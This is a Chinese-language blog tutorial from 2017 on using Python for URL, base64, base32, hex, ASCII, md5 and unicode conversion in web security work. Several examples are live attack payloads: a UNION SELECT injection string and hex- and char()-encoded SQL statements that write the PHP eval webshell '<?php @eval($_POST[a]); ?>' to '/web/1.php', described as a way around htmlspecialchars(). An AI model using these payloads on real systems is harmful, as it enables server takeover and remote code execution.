python妙用之编码的转换详解


Posted in Python onApril 21, 2017

前言

记得刚入门那个时候,自己处理编码转换问题往往是“百度:url解码、base64加密、hex……”,或者是使用一款叫做“小葵多功能转换工具”的软件,再后来直接上Burpsuite的decoder功能,感觉用的还挺好的。不过,也遇到些问题:在线转换效率低(搜索占去了2/3的时间)、两款工具存在一些小问题,比如burp中涉及中文往往显示乱码。

python妙用之编码的转换详解

python妙用之编码的转换详解

直到使用python来作为我日常编码转换工具……

开启py转换之旅

url编码

url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64常常用作网页表单和HTTP传输的一些参数,也常用于邮件协议传输用户信息等。

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

记得有次ctf比赛中考到了base32解密,一般网站不提供在线解密,一时之间貌似没有办法继续下去。不过如果你使用python的话会像上边解密base64一样简单,只需要将函数改变下:

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。

比如:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

下面是python实现hex加解密的方法:

>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
>>>
>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL中的char()函数则是转换ascii码的,正因如此,也可以使用这个特性来绕过htmlspecialchars()函数。

比如:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile '/web/1.php'

使用python将字符串转换ascii很简单,但是逆转换的话需要需要点小操作:

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print ''.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5在web安全界可以说是人尽皆知了,以他的不可逆性,大多数网站存储用户密码等关键数据时常常使用md5加密。有的时候我们提交payload需要md5加密,这个时候用下面的方法就可以轻松实现。当然解密的话推荐去cmd5。

>>> from hashlib import md5
>>> m = md5()
>>> m.update('this is a secret')
>>> m.hexdigest()
'7dbbcee180ba4d456e4aa1cfbdad9c7b'

>>> m.hexdigest()[8:-8]
'80ba4d456e4aa1cf'
>>>

Unicode转中文

unicode转换中文,很多情况下都能遇到。尤其是在做渗透测试的时候。用burp的话会存在中文乱码的问题,在python下实现非常简单。

>>> print u"\u4f60\u9700\u8981\u91cd\u65b0\u767b\u9646"
你需要重新登陆

总结

python实际上在实际使用中非常方便,编码转换只是其中一个例子。文中提到的编码转换皆为笔者日常积累,如果有没有涉及到的地方,欢迎评论补充。好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对三水点靠木的支持。

Python 相关文章推荐
使用python统计文件行数示例分享
Feb 21 Python
python实现读取大文件并逐行写入另外一个文件
Apr 19 Python
python实现简单登陆系统
Oct 18 Python
python 读取dicom文件,生成info.txt和raw文件的方法
Jan 24 Python
Python常见数字运算操作实例小结
Mar 22 Python
Python中的字符串切片(截取字符串)的详解
May 15 Python
python flask 如何修改默认端口号的方法步骤
Jul 12 Python
python代码 FTP备份交换机配置脚本实例解析
Aug 01 Python
通过selenium抓取某东的TT购买记录并分析趋势过程解析
Aug 15 Python
Python3 sys.argv[ ]用法详解
Oct 24 Python
python实现拼接图片
Mar 23 Python
python调用有道智云API实现文件批量翻译
Oct 10 Python
简单谈谈Python中的元祖(Tuple)和字典(Dict)
Apr 21 #Python
Python学习笔记之解析json的方法分析
Apr 21 #Python
Python正则抓取网易新闻的方法示例
Apr 21 #Python
Python中shape计算矩阵的方法示例
Apr 21 #Python
Python使用正则表达式抓取网页图片的方法示例
Apr 21 #Python
用python找出那些被“标记”的照片
Apr 20 #Python
python实现12306火车票查询器
Apr 20 #Python
You might like
PHP中基于ts与nts版本- vc6和vc9编译版本的区别详解
2013/04/26 PHP
php实现的简易扫雷游戏实例
2015/07/09 PHP
CI框架集成Smarty的方法分析
2016/05/17 PHP
CI框架简单邮件发送类实例
2016/05/18 PHP
Yii多表联合查询操作详解
2016/06/02 PHP
php实现单笔转账到支付宝功能
2018/10/09 PHP
JavaScript 提升运行速度之循环篇 译文
2009/08/15 Javascript
JS延迟加载(setTimeout) JS最后加载
2010/07/15 Javascript
背景图跟随鼠标移动的Mootools插件实现代码
2011/12/12 Javascript
基于jquery实现状态限定编辑的代码
2012/02/11 Javascript
JS解决ie6下png透明的方法实例
2013/08/02 Javascript
js冒泡法和数组转换成字符串示例代码
2013/08/14 Javascript
javascript的日期对象、数组对象、二维数组使用说明
2014/12/22 Javascript
javascript实现的右下角弹窗实例
2015/04/24 Javascript
javascript自定义右键弹出菜单实现方法
2015/05/25 Javascript
值得分享的Bootstrap Table使用教程
2016/11/23 Javascript
javascript判断回文数详解及实现代码
2017/02/03 Javascript
深究AngularJS中$sce的使用
2017/06/12 Javascript
基于BootStrap multiselect.js实现的下拉框联动效果
2017/07/28 Javascript
JS库particles.js创建超炫背景粒子插件(附源码下载)
2017/09/13 Javascript
Nodejs实现的操作MongoDB数据库功能完整示例
2019/02/02 NodeJs
微信小程序使用canvas自适应屏幕画海报并保存图片功能
2019/07/25 Javascript
node 版本切换的实现
2020/02/02 Javascript
原生js实现随机点名
2020/07/05 Javascript
简单谈谈python中的多进程
2016/11/06 Python
Python正则表达式教程之二:捕获篇
2017/03/02 Python
pycharm设置鼠标悬停查看方法设置
2019/07/29 Python
Python3直接爬取图片URL并保存示例
2019/12/18 Python
Python连接SQLite数据库并进行增册改查操作方法详解
2020/02/18 Python
keras在构建LSTM模型时对变长序列的处理操作
2020/06/29 Python
最新PyCharm从安装到PyCharm永久激活再到PyCharm官方中文汉化详细教程
2020/11/17 Python
CSS3实现10种Loading效果
2016/07/11 HTML / CSS
HTML5 Canvas的事件处理介绍
2015/04/24 HTML / CSS
旅游管理毕业生自荐书
2014/02/02 职场文书
异地恋情人节寄语
2015/02/28 职场文书
Python 居然可以在 Excel 中画画你知道吗
2022/02/15 Python